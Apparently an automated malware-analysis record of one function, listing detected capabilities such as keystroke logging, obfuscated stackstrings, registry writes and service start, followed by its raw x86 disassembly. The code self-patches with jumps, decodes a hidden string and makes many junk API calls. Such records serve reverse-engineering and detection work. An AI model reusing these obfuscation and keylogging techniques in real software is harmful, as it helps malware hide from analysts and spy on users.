Function at 0xab2000
Capabilities:
Compare security identifiers
Contain obfuscated stackstrings
Create directory
Delete directory
Enumerate gui resources
Get common file path
Get disk information
Get disk size
Get file size
Get graphical window text
Get session user name
Identify system language via api
Log keystrokes
Log keystrokes via polling
Query or enumerate registry key
Read .ini file
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 0x10], 0xab28a7
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab2036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab218f
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab20b8
call fcn.00482472
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab207a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab2094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab2094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab204a
mov byte [ebp - 0x48], 3
mov byte [ebp - 0x47], 0x21
mov byte [ebp - 0x46], 9
mov byte [ebp - 0x45], 0x6c
mov byte [ebp - 0x44], 1
mov byte [ebp - 0x43], 0x7a
mov byte [ebp - 0x42], 6
mov byte [ebp - 0x41], 0x75
mov byte [ebp - 0x40], 2
mov byte [ebp - 0x3f], 0x3b
mov byte [ebp - 0x3e], 8
mov byte [ebp - 0x3d], 0x79
mov byte [ebp - 0x3c], 4
mov byte [ebp - 0x3b], 0x82
mov byte [ebp - 0x3a], 5
mov byte [ebp - 0x39], 0x76
mov byte [ebp - 0x38], 7
mov byte [ebp - 0x37], 0x70
mov byte [ebp - 0x36], 2
mov byte [ebp - 0x35], 0x7f
mov byte [ebp - 0x34], 0
mov byte [ebp - 0x33], 0x85
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab2122
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x16
jae 0xab2184
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x48]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab214b
mov dword [ebp - 0x24], 2
mov eax, dword [ebp - 8]
mov dword [ebp - 8], eax
jmp 0xab211a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x47]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab2173
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab2160
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x48]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab211a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa4232
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x60]
call fcn.00407957
mov ecx, eax
call fcn.00402eb3
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x60]
call fcn.00402e57
and dword [ebp - 0x1c], 0
jmp 0xab21c7
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab21d7
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab21c0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x1029
push 0x4a4
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
push 0
push 0x110d
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
push 0xdac
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0x169
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x103f
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0x1930
push 0x1631
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0
push 0x19ec
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0
push 0x1dd8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0x15e6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0xd8d
push 0x956
push 0x82e
push 0
push 0x7a0
push 0x3e9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x183c
push 0x26fa
push 0x929
push 0xe85
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0x1603
push 0xb1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0
push 0
push 0x1cd3
push 0x1b3a
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0
push 0x9e4
push 0x7f4
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push 0
push 0x887
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x218c
call dword [sym.imp.KERNEL32.dll_ExitThread]